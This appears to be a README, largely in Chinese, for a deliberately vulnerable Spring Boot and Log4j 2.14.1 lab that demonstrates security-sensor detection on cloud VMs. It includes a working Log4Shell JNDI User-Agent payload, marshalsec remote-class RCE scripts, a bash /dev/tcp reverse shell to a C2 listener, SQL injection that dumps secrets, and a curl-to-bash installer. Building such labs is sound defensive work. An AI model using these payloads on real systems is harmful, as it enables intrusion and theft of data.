| Surf Shop | TraditionalJay |
|---|
| 计算 | 容器/无服务器 | 单台Linux VM |
| 技术栈 | Next.js + Python | Spring Boot + Log4j2 |
| 重点CVE | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
需要Java 11+ 和Maven。
/search上通过字符串拼接的SQLite转储secrets表。2.14.1 JNDI LDAP查找至您的监听器。bash /dev/tcp连接到您的C2监听器。# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
仅探测(证明LDAP拨出):
python3 tools/ldap-listen.py --port 1389
完整RCE(marshalsec LDAP + 远程Exploit.class;VM特意以trustURLCodebase=true运行):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
然后打开/security,将LDAP回调设置为YOUR_PUBLIC_IP:1389,点击运行Log4Shell。成功时,VM会获得/tmp/jss-log4shell-rce、/tmp/jss-log4shell-id.txt,以及大约45秒的交互式bash(可用时通过script的PTY)用于主机传感器演示。
您还可以用构造的User-Agent访问搜索:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
通过本地terraform.tfvars传递Upwind凭证(已gitignored)。Cloud-init导出它们,然后scripts/install-vm.sh运行scripts/install-upwind-sensor.sh。
内存:scanner-v2=true在安装时需要约7 GiB空闲RAM(不是磁盘)。默认AWS Terraform使用**t3.large (8 GiB)** + 40 GiB gp3根卷,因此扫描器不会被跳过(在较小实例上会显示Skipping scanner installation, requires 7000000 kB)。
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
AWS示例 infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
如果凭证为空,应用仍会安装,但传感器步骤会被跳过。
GitHub Actions工作流 .github/workflows/build.yml:
v* → 创建包含fat JAR的GitHub ReleaseVM通过scripts/install-vm.sh优先使用最新的Release JAR,如果没有发布版本则回退到本地Maven构建。安装器随后将fat JAR解压到/opt/traditionaljay/BOOT-INF/lib/下并运行JarLauncher,因此主机/无代理SCA能够在磁盘上看到log4j-core-2.14.1.jar(仅运行java -jar app.jar会将Log4j嵌套在zip中,往往从软件包清单中隐藏CVE-2021-44228)。
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
每个云文件夹都是独立的Terraform。首次启动运行scripts/install-vm.sh(OpenJDK 11 + Release JAR或Maven构建 + systemd)。
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
首次启动需要几分钟,Maven会在实例上构建。然后打开 http://PUBLIC_IP:8080/security。
app/ Spring Boot工坊 + /security Log4Shell界面
tools/ldap-listen.py 仅横幅的LDAP监听器(拨出证明)
tools/run-log4shell-ldap.sh 完整RCE LDAP + HTTP代码库服务器
tools/exploit/Exploit.java 用于marshalsec的远程类载荷
scripts/install-vm.sh Cloud-init/手动VM安装器
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class在隔离沙箱中实现真实的Log4Shell RCE。-Dcom.sun.jndi.ldap.object.trustURLCodebase=true**是故意的(在Java 11+上默认禁用)。ldap-listen.py保留用于无需代码执行的LDAP拨出证明。0.0.0.0/0 通过22/8080端口——对于共享实验室应收紧 *_ingress_cidr/源范围。